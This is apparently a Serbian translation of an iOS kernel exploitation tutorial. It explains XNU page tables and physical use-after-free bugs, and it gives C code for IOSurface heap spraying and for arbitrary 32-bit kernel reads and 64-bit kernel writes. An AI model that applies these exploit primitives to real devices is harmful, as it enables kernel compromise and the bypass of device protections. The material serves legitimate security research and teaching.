iOS Exploiting

Physical use-after-free

Ovo je sažetak iz posta sa https://alfiecg.uk/2024/09/24/Kernel-exploit.html, a dodatne informacije o eksploatu korišćenjem ove tehnike mogu se naći na https://github.com/felix-pb/kfd

Memory management in XNU

Virtuelni adresni prostor za korisničke procese na iOS-u se proteže od 0x0 do 0x8000000000. Međutim, ove adrese se ne mapiraju direktno na fizičku memoriju. Umesto toga, kernel koristi tabele stranica za prevođenje virtuelnih adresa u stvarne fizičke adrese.

Levels of Page Tables in iOS

Tabele stranica su organizovane hijerarhijski u tri nivoa:

  1. L1 Page Table (Nivo 1):

  • Svaki unos ovde predstavlja veliki opseg virtuelne memorije.

  • Pokriva 0x1000000000 bajtova (ili 256 GB) virtuelne memorije.

  1. L2 Page Table (Nivo 2):

  • Unos ovde predstavlja manju oblast virtuelne memorije, specifično 0x2000000 bajtova (32 MB).

  • L1 unos može ukazivati na L2 tabelu ako ne može da mapira celu oblast sam.

  1. L3 Page Table (Nivo 3):

  • Ovo je najfiniji nivo, gde svaki unos mapira jednu 4 KB memorijsku stranicu.

  • L2 unos može ukazivati na L3 tabelu ako je potrebna detaljnija kontrola.

Mapping Virtual to Physical Memory

  • Direktno mapiranje (Block Mapping):

  • Neki unosi u tabeli stranica direktno mapiraju opseg virtuelnih adresa na kontiguitetni opseg fizičkih adresa (poput prečice).

  • Pokazivač na Child Page Table:

  • Ako je potrebna finija kontrola, unos u jednom nivou (npr. L1) može ukazivati na child page table na sledećem nivou (npr. L2).

Example: Mapping a Virtual Address

Recimo da pokušavate da pristupite virtuelnoj adresi 0x1000000000:

  1. L1 Tabela:

  • Kernel proverava L1 unos tabele stranica koji odgovara ovoj virtuelnoj adresi. Ako ima pokazivač na L2 tabelu, odlazi na tu L2 tabelu.

  1. L2 Tabela:

  • Kernel proverava L2 tabelu stranica za detaljnije mapiranje. Ako ovaj unos ukazuje na L3 tabelu, nastavlja tamo.

  1. L3 Tabela:

  • Kernel traži konačni L3 unos, koji ukazuje na fizičku adresu stvarne memorijske stranice.

Example of Address Mapping

Ako upišete fizičku adresu 0x800004000 u prvi indeks L2 tabele, tada:

  • Virtuelne adrese od 0x1000000000 do 0x1002000000 mapiraju se na fizičke adrese od 0x800004000 do 0x802004000.

  • Ovo je block mapping na L2 nivou.

Alternativno, ako L2 unos ukazuje na L3 tabelu:

  • Svaka 4 KB stranica u opsegu virtuelnih adresa 0x1000000000 -> 0x1002000000 biće mapirana pojedinačnim unosima u L3 tabeli.

Physical use-after-free

Fizički use-after-free (UAF) se dešava kada:

  1. Proces alokira neku memoriju kao čitljivu i zapisivu.

  2. Tabele stranica se ažuriraju da mapiraju ovu memoriju na određenu fizičku adresu kojoj proces može pristupiti.

  3. Proces dealokira (oslobađa) memoriju.

  4. Međutim, zbog greške, kernel zaboravlja da ukloni mapiranje iz tabela stranica, iako označava odgovarajuću fizičku memoriju kao slobodnu.

  5. Kernel može zatim ponovo alocirati ovu "oslobođenu" fizičku memoriju za druge svrhe, poput kernel podataka.

  6. Pošto mapiranje nije uklonjeno, proces može i dalje čitati i pisati u ovu fizičku memoriju.

To znači da proces može pristupiti stranicama kernel memorije, koje mogu sadržati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da manipuliše kernel memorijom.

Exploitation Strategy: Heap Spray

Pošto napadač ne može kontrolisati koje specifične kernel stranice će biti alocirane na oslobođenoj memoriji, koriste tehniku nazvanu heap spray:

  1. Napadač stvara veliki broj IOSurface objekata u kernel memoriji.

  2. Svaki IOSurface objekat sadrži magijsku vrednost u jednom od svojih polja, što olakšava identifikaciju.

  3. Oni skeniraju oslobođene stranice da vide da li je neki od ovih IOSurface objekata sleteo na oslobođenu stranicu.

  4. Kada pronađu IOSurface objekat na oslobođenoj stranici, mogu ga koristiti za čitati i pisati kernel memoriju.

Više informacija o ovome u https://github.com/felix-pb/kfd/tree/main/writeups

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Napadač stvara mnogo IOSurface objekata sa posebnim identifikatorom ("magijska vrednost").

  2. Scan Freed Pages: Proveravaju da li su neki od objekata alocirani na oslobođenoj stranici.

  3. Read/Write Kernel Memory: Manipulacijom polja u IOSurface objektu, stiču mogućnost da izvrše arbitrarne čitanja i pisanja u kernel memoriji. Ovo im omogućava:

  • Da koriste jedno polje za čitati bilo koju 32-bitnu vrednost u kernel memoriji.

  • Da koriste drugo polje za pisanje 64-bitnih vrednosti, postizajući stabilnu kernel read/write primitivu.

Generišite IOSurface objekte sa magičnom vrednošću IOSURFACE_MAGIC da biste ih kasnije tražili:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Pretražite IOSurface objekte u jednoj oslobođenoj fizičkoj stranici:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Postizanje Kernel Read/Write sa IOSurface

Nakon što postignemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranim na oslobođenu fizičku stranicu dostupnu iz korisničkog prostora), možemo ga koristiti za arbitrarne kernel read i write operacije.

Ključna Polja u IOSurface

IOSurface objekat ima dva ključna polja:

  1. Pokazivač na Broj Korišćenja: Omogućava 32-bitno čitanje.

  2. Pokazivač na Indeksirani Vremepečat: Omogućava 64-bitno pisanje.

Prepisivanjem ovih pokazivača, preusmeravamo ih na arbitrarne adrese u kernel memoriji, omogućavajući read/write mogućnosti.

32-Bitno Kernel Čitanje

Da bismo izvršili čitanje:

  1. Prepišite pokazivač na broj korišćenja da pokazuje na ciljnu adresu minus 0x14-bajtni ofset.

  2. Koristite get_use_count metodu da pročitate vrednost na toj adresi.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Da biste izvršili pisanje:

  1. Prepišite pokazivač indeksiranog vremenskog pečata na ciljnu adresu.

  2. Koristite metodu set_indexed_timestamp da biste napisali 64-bitnu vrednost.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Flow Recap

  1. Pokreni fizičko korišćenje nakon oslobađanja: Oslobođene stranice su dostupne za ponovnu upotrebu.

  2. Prskanje IOSurface objekata: Alociraj mnogo IOSurface objekata sa jedinstvenom "čarobnom vrednošću" u kernel memoriji.

  3. Identifikuj dostupni IOSurface: Pronađi IOSurface na oslobođenoj stranici koju kontrolišeš.

  4. Zloupotrebi korišćenje nakon oslobađanja: Izmeni pokazivače u IOSurface objektu da omogućiš proizvoljno čitanje/pisanje u kernel putem IOSurface metoda.

Sa ovim primitivima, exploit omogućava kontrolisano 32-bitno čitanje i 64-bitno pisanje u kernel memoriju. Dalji koraci za jailbreak mogu uključivati stabilnije primitivne operacije čitanja/pisanja, što može zahtevati zaobilaženje dodatnih zaštita (npr., PPL na novijim arm64e uređajima).

Last updated